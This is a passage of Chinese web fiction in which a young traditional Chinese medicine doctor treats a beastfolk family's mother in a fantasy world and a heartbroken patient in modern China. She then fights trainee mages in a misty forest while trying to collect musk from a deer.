“您好厉害！妈妈一点都不难受了。”贝阿朵莉丝兴奋极了，她的尖耳朵同样竖了起来，眼眸中满是好奇与崇拜的星光。
申姜没忍住，摸了摸兽人女孩蓬松的头顶。
果然，手感和她想的一样，柔软顺滑。
申姜简单给女孩讲了给咳痰病人拍背的手法要点，接着就开始凝神给床上的女人开始诊脉。
虽然是很明显的中风表现，但中风根据邪中深浅、病情轻重分成了中络中经、中腑中脏。申姜需要知道病人身体的具体情况，才能给出治疗的方案。
申姜安静的坐在床边，脊背纤直，神态认真，那张亲切的脸庞顿时多了几分不可言说的庄严。
埃利斯后知后觉地想到一个问题，这位黑女巫竟然愿意触碰妈妈，脸上的表情始终淡淡的，丝毫没有嫌弃与鄙夷，这个发现让他忍不住发怔。
一个掌握着火系魔法的强大女巫，在给他的妈妈看病？这魔幻的场景怎么看都像是在做梦。
这几年被病痛折磨摧残下来，妈妈早就不复过去那个美丽温柔的样子，现在的妈妈看起来就像是被恶魔同化的怪物，除了他和妹妹，就只有善良的凯瑟琳曾面带同情的给妈妈喂过水。
也就是那一刻，他真正爱上了善良美好的凯瑟琳。
刚刚病人咳嗽的时候，申姜已经仔细观察过她的舌象，舌红、苔薄白。而现在，申姜首先排除了淤症的可能。
申姜自言自语道：““左寸浮，为伤风，紧脉主寒，浮紧之脉，为寒邪在表，应当以辛温解表，发散表邪，宜当汗解法。”
凯瑟琳还有兽人兄妹一声不吭地听女巫念起咒语，三个人满脸期待的看向病榻上的女人，却失望发现压根没有半点变化，塞西莉亚还是老样子。
申姜一回头，就看到三张沮丧的漂亮脸蛋。
“……你们没事吧？”
凯瑟琳打起精神，勉强笑道：“塞西莉亚的病的确很难治，是吧。”
她此刻也不确定起来，究竟埃利斯妈妈是生了病，还是真的被恶魔诅咒了。
申姜奇怪的看她一眼，“我不是说了吗，用
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汗解法治疗看看效果先。”
意思是，他的妈妈有救？埃利斯捏紧的拳头骤然放松，一时之间不知道说什么好。
贝阿朵莉丝脸上露出不可思议的表情，她张大了嘴：“您能让我的妈妈恢复正常？”
申姜理所当然的点点头，“不过我需要时间准备一些药材，这段时间，你们不要开门开窗，病人吹不了风。”
埃利斯捏紧了拳头，这是第一次，有人用这么自然的语气说他们的妈妈只是生病了，而不是被恶魔诅咒。这种他做梦都不敢想象的好事，真的落到他头上了吗？
凯瑟琳悄悄握住了他的手心，用力晃了晃，“埃利斯，女巫大人一定会治好塞西莉亚的！”
埃利斯一脸茫然的扭头，只听见了治好几个字，他微微张口，直到第三次才艰难完整地说道：“尊敬的女巫阁下，之前是我失礼了。只要您能让我的妈妈恢复健康，我愿意为您做任何事。”
他的表情随着话音愈发严肃：“即使是为此付出生命，我也在所不惜。”
贝阿朵莉丝跟着哥哥一起，同样坚定地点了点小脑袋。
申姜笑了笑，拿出背篓里那张已经有些破损的A4纸，正想开口说不至于不至于，房间里突然金光大亮，熟悉的金色大门正在空中缓缓开启。
申姜：“来得真是时候啊……”
申姜顾不上三个人傻掉的表情，把纸放到凯瑟琳的手上，快速交代道：“只需要帮我找到大耳鹿，我会亲自动手，你们……”
话音未落，金色光芒覆盖了她的脸，强光闪过，昏暗的房间里已然没有了背着背篓的女巫身影。
埃利斯仔仔细细检查了屋内的角角落落，连门外的灌木丛也没放过，但没有，女巫是真的不见了，埃利斯颓败的坐到地上，救妈妈的希望，就这样破灭了吗？
凯瑟琳喃喃：“原来是真的。”
埃利斯疑惑地看向她：“什么是真的？”
“女巫大人告诉过我，她的身上有禁制，每到黄昏就会触发禁制，但等时间一到，她会重新回来找我们。对了，这个大耳鹿，女巫大人的亲人也生病了，她需要你帮她找到大耳鹿！”凯瑟琳迫不及待的拿出纸递给埃利斯。
埃利斯和老猎人一样，同样先震惊了一秒上面精美逼真的图案。
听完凯瑟琳的转述，埃利斯眸色渐渐转深。
如果女巫的要求是要他的眼睛或是心脏，他可能会觉得更合理一些。
只需要帮忙找一只迷雾森林的大耳鹿，就这么简单的要求？
这让埃利斯忍不住怀疑起来，女巫真的能治好他妈妈的病吗？
还是这背后其实有什么他暂时没有想到的阴谋。
“凯瑟琳，你再说说你是怎么认识刚才那位女巫的，你为什么会如此……信任她？”
28.面容枯槁的女人
“其实，我们才认识了两个小时不到，”凯瑟琳的脸蛋上泛起激动的红晕，“很难想象吧，埃利斯！”
“一开始我也以为她是个邪恶的黑女巫，可她先是止住了我的抽嗝，又出手治好了我妈妈，后来……所以，我才想到请她过来给塞西莉亚看看，你应该不会怪我自作主张吧？”
埃利斯摇了摇头，陷入沉默。
凯瑟琳对那个女巫已经笃信至深，这让埃利斯无法将心底那些阴暗的猜测说出口，他更没有办法告诉凯瑟琳，他曾经隐瞒了她一件事。
他不是没有找过治愈系魔法师帮妈妈治过病，但，毫无成效。
妈妈她会变成现在这个样子，也许真的是因为作为人类和他的兽人父亲结合，才会遭到神的厌弃，被恶魔诅咒。
一想到凯瑟琳日后可能会成为别人的新娘，埃利斯心如刀割，更加气闷。
*
申姜把药材放在院子里的老地方，和昨天没有炮制完的药材一起，等着小表叔他们继续炮制。
距离昨天已经过去了一晚上，申姜打开手机，瞬间被各色信息淹没。
申姜期待的事情终于发生，那些恶毒的谩骂被安慰和鼓励覆盖，无数条暖心的话语通过字体直触申姜的心底。
梓宁：“申姜姐姐！你太牛了，你的药简直就是神药！”
张警官：“我们已经联络到了梅穆川老先生，有他作保，我一定把山家药材店查个底朝天！”
……
一直发闷的胸腔突然轻快了许多，申姜长长吐出一口气，开始鱼肚青的天空似乎预示着今天会是一个好天气。
市医院ICU病房禁止家属探视，这天，ICU的护士长看着病房外挤满了手捧鲜花的家属，不由头疼起来。
“17床申安莲家属是吧，那么多送来的鲜花放在走廊上，路都走不了，赶紧来收走！”
申姜看清电话时心里一紧，听清原委后却有些哭笑不得。没办法，她只好提前赶去医院，看到那些堆积在护士休息室的花，她顿时头大，这种好意变成负担的感觉，实在是太可怕了。
申姜登陆自己的微博，最新一条微博是她去年的生日微博，一晚上从十几个僵尸粉涨到两千多个粉丝，底下全是鲜艳的99+，私信也快爆炸了。
申姜发了条置顶微博：“感谢大家的好意，心意收到了！但我和奶奶目前不需要爱心募捐，也请大家不要浪费钱往医院送花，实在没有精力处理。你们肯相信我奶奶没有治坏人，这就是最好的支持，谢谢！”
配图是那些密集到占满了一整个房间的花束。
不知是不是网友巨大的愿力起了效果，出乎申姜意料地，下午医生那边就传来了好消息，病人的生病体征突然就平稳了下来，要是不出意外，明后天就能转到普通病房。
申姜在医院花坛边躲着来探望的热心网友们，顺便练了一会站桩的基本功，正准备离开时，却被一个陌生女人拦住。
“请问……你是明心堂的申医生吗？”女人问的有些迟疑，亲眼看到申姜这么年轻，她才明白为什么那个小伙子会劝她别报太大希望，这个年轻的女孩子看起来长得跟个学生似的，一点都不像是个神医。
申姜吓了一跳，特别是看清来人的模样后。
面前的女人整个人都有些浮肿，身躯却在衣服里空空荡荡。面色苍白，这让她眼眶周围的清黑色格外明显。就算不是医生，也能看出来她已经病得极重。
申姜得知对方叫林运清，来找自己的原因更是意外，她算是陈全间接给自己介绍来的病人。
陈全后来还是听了她的话去做了检查，当时后面等待的病人正是林运清。那天她一直等到陈全做完穿刺，问明白陈全这个明心堂的申医生到底是谁后，后来又上网搜，正好网上铺天盖地都是还明心堂申医生一个公道的热搜，她还吓了一跳，以为是陈全说的申医生出事了。
看了半天，才发现这是个乌龙，网友都在夸的申医生是个年过七旬的老太太，陈全说的申医生应该算小申医生，除了被提及为奶奶讨公道，几乎没人讨论小申医生的医术。
林运清之所以来找她，也是想碰碰运气。毕竟老申医生厉害，小申医生作为她的传人应该也有两把刷子。
“您看我的样子就知道我这身体糟透了，但我做了各种检查都查不出问题，西医说我只是内分泌失调。后来我也去看过几个名中医……”林运清微微叹了口气，“中医倒是说我全身几乎都是病，哪哪都有问题，可我吃完他们的药不仅没好，还一天比一天严重。”
申姜听完她说的，眉头一皱，既然同行会这么说，可见要为她辩证不是见容易的事。
中医治病，无非十二个字，观其脉症，知犯何逆，随证治之。
可中医最难的就是辩证，这是所有中医终其一生都要为之努力的目标。
申姜带她到僻静处，搭起她的手腕开始诊脉，“我们坐在这里慢慢说。”
林运清手腕上是对方温热的手指，看着对面年轻的女医生一副担忧的神色，忍不住眼眶一红，说起自己的病情来：“我每天都头疼、恶心，还有呕吐的感觉，肚子里像是有三块石头一起顶着我，胃胀的不行，总往上嗳气，我一吃饭就会吐出来，就连喝水都喝不下去。我现在几乎吃不进去一点东西。”
申姜皱眉又问她月经和大小便的情况，越听神情越严肃。
人体分为上中下三焦，林运清的下焦都出现了问题，说明病症已经十分严重了。
何况这都是些什么症状啊，简直是周身上下乱作一团，这么多症状放在一起，就像线头纠缠不清，简直让人无法分析。
“你怎么会病成这样呢？”申姜发自内心的困惑。
林运清迎着太阳闭上眼，眼泪莫名流了下来，“申医生，我跟你说实话吧，一年前，我的未婚夫和我的好朋友一起私奔了，但这不是最让我无法接受的。我和那个狗男人一起开了好几年的店，结果他把我们这几年一起辛苦攒下的家当几乎都带走了，我报了警，但是警察说这不归他们管。我实在是气不过，每天这胸口都像堵着一口气，后来还吐了一回血。你说说，那对狗男女都没遭报应，怎么我一个受害者这么倒霉。”
申姜抬头一看，发现林运清这会虽然还在骂人，但是已然没有了生气的念头，因为她的精神实在是太差了，根本提不起那口气来。
申姜叹口气，看看情绪对一个人的身体有多重要，这个女人完全就是因为心病才会生病。
不过，这个林运清的病机到底是在哪里，她暂时还不好下结论。
申姜搭着脉，继续问道：“季节变化的时候会不会有特别不舒服的地方？”
林运清的反应有些迟钝，思考了好一会，突然眼睛就亮了起来，她激动道：“有，有的！我夏天心口会疼，而且手脚都很凉，得到秋天才会好转。”
申姜听完心里略定，她终于能把这位林女士的病症都串在一起，做出合理的解释了！
“你之前吃过的药方子还在吗？给我看看。”申姜很自然的问她要药方，要是已经有医生开过跟她一样的方子，那她的思路就是错的，林运清的病她也治不了。
林运清呆滞住，之前的几个医生也是这样，她吃了好几个医生的药后才明白过来，她就是他们的试验品，一次又一次的试验着他们的医术。
她没想到小申医生竟然也是一样的说辞。<
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林运清从包里动作僵硬的掏出前几次的药方，心里却开始纠结一会要不要吃这医生开的药。也许那个叫陈全的小伙子说的是对的，这个申医生只是个看起来厉害的半吊子医生，毕竟她还这么年轻，功夫不到家也是正常的。
是她的运气太差了，未婚夫跟闺蜜跑了，几年攒下的身家没了，就连经营的饭店也快要倒闭了。
申姜欣喜的声音打断了林运清的内耗，“你运气不错，我们明心堂这几天刚好进了一批品质上佳的肉苁蓉，我现在带你回店里去抓药。”
“什么？”林运清的思路差点跟不上她。
申姜没对着病人吐槽这几位同行开的方子简直离谱，完全就是西医的思路，头疼医头脚疼医脚，看病人嗳气吃不下东西就开和胃降逆益气汤，听她说失眠就加酸枣仁，根本就是指标不治本。
她有些苦恼地看向林运清，明心堂的药向来价格不低，以林运清的病情，少说也得吃七天才能好，更别说里头还有像肉苁蓉这种珍贵的濒危药材，她虽然不会坐地起价，但林运清这药钱可不会太便宜。
“我已经找到了你的病因，你的病看起来很复杂，其实就是气机升降出了问题，只需要拨乱反正，一切都会好起来的。而且你运气真的不错，要知道肉苁蓉这味药可是很难得才会出现的，温补肾阳滋润通便，比起别的泻药它完全不伤正气，你要是去别的地方可不一定能配到。”
林运清有些心动，毕竟她的确因为便秘很是苦恼，她轻声呢喃：“我这运气，还算好吗？”
申姜听懂了她的言外之意，反问道：“是不是觉得这世上已经没人比你更倒霉了？”
当然不是，林运清摇摇头，这世上苦命的人那么多，可她不想和人比惨。她是真觉得自己运气太糟了啊。
申姜理所当然地笑道：“如果生活已经到了最差的地步，那就不会比现在更差了。你要反过来想，未来的每一步都是在上升期，你的好运气已经在来的路上了。”
申姜心想，他们的好运都在来的路上了。
林运清也不知道怎么的，就这么迷迷糊糊跟着年轻的女医生到了明心堂，出来时手里拎了一大包药，而她卡里一下子就扣掉了两千多。
林运清早就因为看病花了好几万，要是这药真能把她的病给治好，她反倒觉得这药不算贵。
陈厚康和妻子陈茹原本是准备赶车回乡下的，因为刚好碰上申姜回来，索性一直等到外甥女给病人抓完药。
他们有话跟她说。
“申姜，上次是我嘴快答应早了，回去和你婶子一合计，我才发现差点就占了你便宜。”陈厚康黑着脸，闷闷不乐道。
申姜“啊”了一声，有些不懂他怎么这么自责愧疚的样子。
陈茹笑着解释道：“你这里活不多，我们就是一礼拜来拿一次药带回去炮制都忙的过来，你没必要特意开工资请我们两个老的，随便给点加工费就行了。”
申姜哭笑不得，感情小表叔和小表婶也忒实在了点，生怕占她一点便宜。
申姜没勉强他们，但打了个预防针：“那要是，我这边的药材炮制不过来怎么办？”
小表婶顿时笑了：“要是你生意真这么好，那我们肯定得来帮忙啊，我们就是担心到时候整天坐在店里没事干，那多不好意思。”
申姜顿时明白过来，现在明心堂没开张没进项，她昨天带回来的药材又不多，让他们二位误会了。
“顺其自然吧，表婶可得记得今天说的，明心堂需要你们就来。”申姜意味深长。
等她找到合适的采药工人，一次就能带回半个月的药材量。等那时他们就知道，每天住在店里都不一定能忙的过来。
29.迷雾森林
送走小表叔他们后，申姜开始给埃利斯的妈妈配药。
埃利斯的妈妈身上寒热错杂，理应该通表透里，开门驱邪。所以她开了续命汤作为药方，扶正祛风，调和营卫，很是对症。
续命汤的药材店里都有，她不用去外面特地采购，除了麻黄和附子是从异世界采的，其他药材则是明心堂本来就有的存货。
申姜想了想，又拿上两袋面粉装进背篓里，兽人兄妹自己都还是半大的孩子，又要照顾生病的妈妈，挺不容易的，无论埃利斯能不能帮她找到林麝，她都想帮这家人一把。
这一次，金色大门直接把申姜送到了埃利斯家独幢的小木屋门口，申姜若有所思，看来，大门也并不是没有规律的，比如她从哪个地方离开，下一次传送的地点就是她离开时的位置。
这有点像游戏登陆。
申姜走到小木屋的门前，敲了敲门。
没有人应声，反倒是门内传来了激烈的争执，音量大到申姜直接在门口都能听清楚。
……
“这都几天了，她还没来，肯定是在故意戏耍我们。”年轻的男声低沉极了。
“我不允许你这样说那位女巫大人，埃利斯，她救了我妈妈的命。”凯瑟琳的声音听起来有些义愤填膺。
“可我们已经足足等了她24天，凯瑟琳，你回家去吧，她今天也不会来的。明天开始，你不要再来这里。”
“埃利斯，连一个月都没到你就没有耐心等下去了吗？你在怕什么，你这个胆小鬼！”凯瑟琳愤怒的声音很有冲击力。
“我……”
申姜没再听下去，礼貌的敲门直接进化成略有存在感的捶门。
开门的人是埃利斯的妹妹贝阿朵莉丝，此刻她有些无精打采，申姜礼貌微笑道：“好久不见，可爱的女孩。”
看清门外的人正是哥哥和凯瑟琳争执的源头后，贝阿朵莉丝的身后的尾巴甩动起来，她惊喜道：“女巫大人！您终于来了！”
这些天哥哥和凯瑟琳每天都会爆发刚刚那样的争执，她懵懵懂懂听明白他们为什么闹别扭，那个教会她给妈妈拍背的女巫不会再来了。
木屋内的声音戛然而止，随之而来的是异常安静的沉默。
贝阿朵莉丝原本想直接拉着女巫大人进去，好在差点碰触到的前一刻，她及时缩回了手，生涩却恭敬地为她让道，“请进。”
申姜一进去就看到羞愧难当的凯瑟琳脸涨得通红，显然十分尴尬。而埃利斯面色如常，脸上看不出半点心虚和愧疚，仿佛刚才信誓旦旦说她坏话这事不存在。
“我是不是来的不是时候？”
凯瑟琳语塞，女巫大人肯定听见了她和埃利斯的对话。
埃利斯一脸诚恳：“您来的正是时候，这几天我在迷雾森林发现了大耳鹿，要是您再不来，只怕它就要被别人猎走了。”
凯瑟琳诧异的看他一样，前些时间埃利斯不是还说最近迷雾森林里没有大耳鹿的踪影。
申姜把屋内三人的表情尽数看在眼底，她不置可否：“你们谁有空，先去把火生起来。”
凯瑟琳精神一振，上次就是这样，这是女巫大人要开始炼制药剂的信号。她连忙让埃利斯去烧热水，别在这里碍眼。
申姜检查了塞西莉亚的身体状况，确认他们这段时间都有按自己的吩咐关好门窗，抬脚就往厨房的方向走去。
埃利斯眼睁睁看着女巫当着自己的面炼制她那难闻的暗黑药剂，脸色有些不太好看，虽然听凯瑟琳说过，但亲眼看到，他还是有些不放心。
申姜煎完药，把背篓里剩下的十三副药包交给贝阿朵莉丝，“从明天开始，按我刚才的方法每天给你妈妈煎药，对了，药得趁热喝，知道吗？”
贝阿朵莉丝一脸忐忑：“女巫大人，我没有魔法天赋，我不可能想您那样炼制出魔法药剂的。”
申姜愣住，难道她们一直觉得自己是在施（魔）法救人吗？难怪每个人都叫她女巫，她还以为是因为女巫会炼制药剂，所以凯瑟琳才这样称呼自己。
这误会可有些大了啊。
她有些哭笑不得，但还是温声道：“我相信你，善良的贝阿朵莉丝，只要你按照我说的方法做，煎药的时候一心想着妈妈吃完药就会好起来，你就能成功。你知道，我不可能每天在这里。”
贝阿朵莉丝将生病卧床的妈妈塞西莉亚照顾得极好，上次她就发现了，塞西莉亚虽然肤色苍白得像吸血鬼似的，但她的身上干干净净没有一点褥疮，这需要照顾她的人非常细心，看得出来，兽人女孩非常爱她的妈妈。
贝阿朵莉丝似懂非懂地点点头，认真保证道：“我一定会在煎药的时候认真祈祷的。”
申姜揉揉她的脑袋，“这就对了，现在，我们去给你妈妈喂药。”
埃利斯冷眼旁观黑女巫忽悠妹妹的全过程，什么煎药的时候用心祈祷，也就贝阿朵莉丝这种小孩子才会相信黑女巫的鬼话。一想到半个月后的场景，埃利斯不由捏紧了手心。
申姜看着兽人女孩给妈妈喂完药，再次强调：“不要让你的妈妈吹到风，一点都不行，否则这一切将前功尽弃。”
埃利斯忍不住翻了个白眼，黑女巫越是一本正经的胡说八道，他眉间的阴郁就加重几分。
申姜借着喝水的空隙，从背篓里拿出两包面粉放到厨房，也不是多贵重的礼物，没有特意提一句的必要。
埃利斯早就看她鬼鬼祟祟不顺眼，这下终于找到证据，顿时来了精神。
他就说，这个黑女巫肯定没有表面上这么好心，果然，他始终没放松的警惕心终于等到了她露出破绽的这一刻。
“女巫大人，您在做什么？”
申姜看到埃利斯站在不远处，笑眯眯地脸上浮现探究的神色。
这种悄咪咪送礼物结果被正主撞见的糗事，未免太尴尬了些。让申姜应付这种煽情的场景，她简直鸡皮疙瘩都要起来了。
申姜索性转移话题：“你刚才说已经找到了大耳鹿，不如现在就带我进迷雾森林吧，我希望天黑前能拿到我想要的东西。”
这两袋面粉，等他回来自然就明白了。
一切尽在不言中嘛。
埃利斯没纠结于这个话题，只默默点头，换了身利落的衣服后，拿上弓箭就带着申姜前往迷雾森林。
凯瑟琳和贝阿朵莉丝站在家门口目送他们离开，她们双手紧扣放在胸前，做出祈祷的动作，祝愿埃利斯和女巫大人此行顺顺利利。
迷雾森林因终年缠绕不散的雾气而得名，即便外头艳阳高照，可一旦进入其中，就会因为铺天盖地的白雾而丧失方向感。
难怪老猎人天黑前不肯带她进来。现在还是上午呢，在还算明亮的光线之下，森林里的视野还是大打折扣，只能看清面前两米的景象。
申姜紧紧跟在埃利斯的背后，发现埃利斯果然对这里很是熟悉，他们走的这条路几乎没有遇到过野兽，最多也就是眼睛猩红带着几分妖诡的巨型兔子，静静匍匐在草丛之中一动不动。
埃斯里走了一会，开始和申姜闲聊起来，“我妈妈吃完那些药，真的会恢复成正常人的样子吗？”
申姜原本时刻注意着脚下的路和前方的少年，此刻还要回复他的问题：“是的，她会好起来的。”
“有一个问题，我始终没搞懂，您愿意为我解释一二吗？”
“你问吧。”
申姜发现男声突然变远，抬头看了眼前方高大的身影，见他拐弯朝右边去连忙跟上，没想到右脚踩空，直接掉进了一个超过她身高的巨坑。
“啊！！！”
申姜掉下来时及时调整了姿势，借着打滚的姿势卸了大部分的力，这才没有受伤，她看了眼周围：这应该是某个猎人为了捕猎设下的陷阱。
“您没事吧？”深坑上方传来埃利斯担忧的声音。
申姜揉了揉发疼的肩膀，“我没事。这坑太深了，你快想个办法把我拉上去。”
不知是不是错觉，她感觉自己好像听到了一声若有似无的叹息。
“其实我对魔法植物略有了解，女巫大人，您是不是觉得戏耍我们这些卑贱的普通平民很有意思，所以才会给我妈妈吃连风暴猪都不会吃的劣等杂草，还骗贝阿朵莉丝让她煎药时需要诚心祈祷。”
申姜：“！”
感情巨龙没骗她啊，他说自己家门口都是杂草，她还当他是凡尔赛呢。
“埃利斯！”申姜一脸严肃，“我问你，你妈妈是不是冬天得的病？”
站在坑口前的埃利斯一怔，没想到她竟然连这都知道。
“当时她应该经历了非常大的痛苦，当时发生了什么大事吗？她的亲人出事了？”
埃利斯脸色一沉：“够了！这些都是凯瑟琳告诉你的吧。你还在戏弄我。”
“埃利斯，我最后给你一次机会，拉我上去，否则你会后悔的。”申姜厉声道。
埃利斯的身影隐藏在雾气之中，申姜看不清他的脸，她当然能出去，只需要使用银龙的龙鳞，她立刻就能到一个安全的地方去。可她是来找林麝的，要是现在离开，她不知何时才能找到林麝。
埃利斯冷笑道：“不要威胁我，女巫大人，我这人最讨厌的就是被人用这种威胁的口气命令。”
申姜沉声道：“我以生命向你起誓，塞西莉亚吃完那些药就会好的。这个世界上有许多你无法理解的事情，凯瑟琳的妈妈吃的也是你口中所谓的杂草，但她好了不是吗？”
“看来我遇到的是一个巧言善辩的黑女巫，那不如请你解释一下，出门前你在厨房偷偷摸摸做了什么？”
申姜深吸一口气，让自己不要跟这个正值青春叛逆期的大男孩计较，她面无表情的说道：“我要是说，我放了两袋面粉在厨房，你信吗？”
埃利斯一滞。
这个世界上真的可能会有这么善良的黑女巫存在吗？
肯出手治他妈妈的病，还悄咪咪把他们空荡荡的厨房填满。而代价只是让他帮忙引个路，和她所做的比起来，他的回报已经让这个天平严重失衡了。
申姜见他仍旧不为所动，真有一种良心喂了狗的感觉。
“白眼狼。等半个月后，塞西莉亚恢复了健康，你再回想今天对我所做的一切，你会后悔的。”
不知是哪句话一下子刺激到了埃利斯，他突然就笑不出来了，他俯下身来，把手递给申姜面前，“拉住我的手。”
申姜哪里敢拉，别到时候他再故意松手，她不受伤才怪呢。
埃利斯轻笑起来，似乎对她这种惊疑不定的表情很是受用，纵身一跃，也跳了下来。
申姜的耳膜里听见清脆的声响，接着，她就看到埃利斯呲牙咧嘴的捂着手腕的场面。
申姜：“你小子……没毛病吧？”
埃利斯忍着痛强装自若：“……没事，我托你上去。”
申姜搓热手心，拉起他的手腕
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给他推揉，埃利斯忍不住躲避。
“别动。”
过了片刻，埃利斯的兽耳不自觉绷直，感受到手腕的胀痛感消失，埃利斯不可思议道：“您掌握治疗魔法？”
申姜斜睨他一眼：“我哪会那东西呀，不过就是平平无奇的中医推拿罢了，就和你看不上的那些劣等草药差不多。比不了那些高级的治疗系魔法师。”
她眼底的奚落和挖苦一目了然。
埃利斯忍不住红了脸，嗫嚅道：“对不起，我向您道歉。”
等埃利斯让申姜踩着自己的肩膀从坑里爬出去，他的手臂化为棕熊粗壮的熊爪，用力一撑，轻而易举就从深坑中跳了出来。
申姜：好家伙，还会变身。难怪敢坑她。
这次，申姜走得小心翼翼，手里捏了根树枝探路。不过埃利斯没有再坑她，径直带着她到了靠近迷雾森林中心地带的一片树林中，一头精壮漂亮的大耳鹿正在不远处悠哉悠哉的吃着草。
申姜看清那正是她需要的雄麝后，压着气音道：“我们从两边包抄，堵住它的路，一会你帮我抓住它，我要从它身上取一点分泌物。”
埃利斯活动几下手腕，有些可惜地放下了自己的弓箭。
他更期待女巫大人说出让他亲自猎杀一头魔兽这样的要求。
大耳鹿的身前突然蹿起火苗，惊得它下意识后退想要逃跑，差点扑倒了背后的埃利斯。
好在上半身兽化后的兽人力气极大，只靠两只手就轻而易举制服了受惊的大耳鹿，他的左手和右手分别攥紧了大耳鹿的前后肢，膝盖压在大耳鹿的肚子上，被掣肘的大耳鹿腿力极大，却仍旧抵不过面前兽人的力量，只猛烈挣扎了几下就放弃了动弹。
申姜连忙过去，从背篓里取出准备好的罐子，开始挤大耳鹿饱满的香囊袋。
埃利斯闻到空气中浓烈的复杂味道，甜味混杂着腥味，辛辣味和皮革味不甘示弱，还有种奇异的木香味。
“喂，你们这些盗猎的老鼠们是不是太嚣张了一点！”
不远处，有四个穿着宽大的法师袍的年轻人正怒气冲冲地站在灌木丛外，十分嫉恶如仇地看向这边。
埃利斯低声道：“我们的运气不太好，他们应该是荆棘学院的见习魔法师，今天来迷雾森林进行魔法实践。”
申姜加快了动作，“坚持一下，等我挤完就带你走。”
埃利斯“嗯”了一声，加大了力道压制躁动不安的大耳鹿。
见到低贱的半兽人和无耻的黑女巫完全没有理会自己的意思，仍旧我行我素。魔法师芬妮再也无法忍耐，吟诵起咒语的同时挥动魔法棒，径直朝黑女巫的方向丢去一个火球。
埃利斯见申姜仍旧在专心致志的挤麝香，丝毫没有察觉到身后袭来的火球，眼疾手快的用肩膀撞开了申姜。
申姜被撞到在地，同时听见埃利斯闷哼一声，这才发现，他推开自己后，胸前的毛发被火焰烧焦了，露出里面猩红翻滚的皮肤。
申姜没想到，对面一言不合就直接开打，连忙将埃利斯护在身后，催动戈德温的龙鳞，向对面四位魔法师招呼过去。
可惜对面的人躲避得极快，申姜的火球虽然威力强大，但她掌握得一般，没有击中任何一个魔法师。
“是……龙炎！给我拿下那个黑女巫！”芬妮闪身避开火球，身为火系魔法师的她，察觉到空气中有异样的火系魔法，第一时间探测出这竟然是来自恶龙的魔法能量。
申姜这次是遇到硬茬子了，面对四个配合默契的见习魔法师，只有戈德温龙鳞护身的她显然就不够看了，尤其是其中一个土系魔法师用变异的土盾直接拔地而起将她环绕时，她直接被困在了一个高耸的环形土墙内。
埃利斯眼看女巫打不过那四个人，连忙放开手里的大耳鹿，一拳打破了困住女巫的土墙。
申姜重新呼吸着新鲜空气，心里的火直往上蹿，差点那堵墙就把她的脸糊在里面了，为了救她，埃利斯好不容易抓到的大耳鹿也不翼而飞了。
这一次，她没有再悠着，加足了马力把加大加强版的火球扫向四人，她毫不吝啬，一个接一个丢火球出去，显然是要速战速决的意思。
她还想着能再去追一下林麝。
对面的魔法师早就识破了她的伎俩，所以早早就分散了开来隐匿在雾气中，一个嚣张高亢的女声穿过雾气。
“不用留活口，我只需要她手里那片龙鳞！”
不好！申姜听见对面的女声就知道对方动了杀意。
她不确定银龙的龙鳞能不能同时带两个人走，所以她说：“埃利斯，你先走，我来拖时间。”
埃利斯熟知这里的地形，一个人逃出去的希望极大。
埃利斯一怔，“不。”
“快点！”申姜发现危急关头自己的火气不是一般的大，“别浪费时间。”
在申姜差点被脚下突然生出的土刺扎穿脚底之前，埃利斯一把拉过她，将身形小巧的她护到身后。。
“如果您能逃出这里，请帮我给凯瑟琳带个话，请她忘了我，让贝阿朵莉丝照顾好妈妈。您的生命，远比我的宝贵许多。”
眼瞧着埃利斯背后的火球再次袭来，申姜估摸着位置，抛出一个火球对冲，戈德温的龙炎径直盖过了对面的小火球，空气中火星四射，点燃了不少植物。
申姜和埃利斯周围的雾气被火光驱散，他们两人彻底暴露在藏在雾气里的年轻魔法师的视野里。
30.死里逃生
申姜浑然未觉自己和埃利斯已经彻底暴露，只觉得面前的视野一下子清晰了许多，正当她警惕地寻找着那几个年轻魔法师的踪影时，却听到身旁的埃利斯闷哼一声。
埃利斯背后被一团火球偷袭，带有魔法的火焰将他的后背舔舐出一个巨大的黑圈，这还不够，火焰顺着他棕黑的皮毛朝四周吞噬，剧烈的疼痛让他不得不在地上打滚。
埃利斯心里闪过懊恼：他不该轻信女巫能带他离开，他们今天都将死在那些高高在上的魔法师手中。
就在埃利斯好不容易扑熄了身后的火焰之后，背上的灼伤感和极速下降的体温让他感到一阵又一阵难以抗拒的疲惫感。
精疲力尽的兽人男孩狠掐自己的大腿，他不能在这时候睡过去！在埃利斯即将开始涣散意识之前，他看到黑女巫挡在了自己面前……
埃利斯忍不住看向渐渐变黑的天空，脸色浮现出复杂的笑意，那笑里带着难以形容的不甘和满足。
黑女巫虽然战斗力不行，可她有一颗善良的心，他还不算输得太彻底。
申姜喘着气低头看了眼埃利斯，不知道他是何时昏死过去的。
刚刚她一个分神，有一个魔法师突然就出现在了面前，对方放松了警惕，试图从她的手里抢夺戈德温的龙鳞，申姜哪里敢撒手，躺在地上直接就是一个近身攻击，这次对方躲避不及，直接就被她手里的龙炎吞噬了生命。
这一幕，将不远处包括芬妮在内的三个魔法师震慑住。
芬妮眼睛里满是怒意：“那个该死的黑女巫竟敢耍诈骗我们，她刚刚没有死！”
土系魔法师尼莫是四人小队里平民出身的孩子，看着死去的同伴连惨叫都没有就没了生息，不由心里一紧，“芬妮，要不算了吧，黑女巫手段诡秘莫测，我们根本不是她的对手。用你手里的魔法卷轴，现在回去叫人还来得及。”
申姜趁她们说话的功夫，以最快的速度用铺天盖地式的火龙像灭火器一般无差别攻击所有方向，还真让她打中了一个魔法师，这让她不由精神一振，但随之而来的，是被怒火冲昏了头脑的芬妮的反击。
芬妮一边用着补充体力的药剂反击对面的黑女巫，一边大声冷斥道：“今天要是杀不死这个无耻的黑女巫，回去我就告诉院长你是个多么胆小的魔法师，不仅没用还拖后腿，你将面临被魔法学院退学的代价。”
尼莫闭上嘴，面色严峻，再度朝对面声势浩大的攻击展开反击。
申姜摸着手里越来越轻的龙鳞暗叫不好，原本有份量的龙鳞随着时间的消耗现在就像一块羽毛般没有了存在感，仿佛随时就会消散在风里。
这让她不得不重新变换攻击方式，怎么省火怎么来。她是能一走了之，可她走了的话，埃利斯必死无疑。
她已经想好了逃出去的办法，只要撑到埃利斯醒来就行。
“埃利斯，快醒醒！”
芬妮终于等来了这一刻，她不由眼眸一亮：“就是现在！尼莫，用你的土墙直接把她给我封死！”
尼莫见状也不由打起精神，正当他吟诵着魔法咒语之时，天空突然暗了下来。
一道气势磅礴的轰鸣声随之在头顶炸响：“让我看看，是谁把我可怜的信徒欺负成这么狼狈。”
尼莫忍不住抬头去看，愕然发现，那竟然是一头从空中俯冲下来的黑色巨龙。
等一下。
龙！
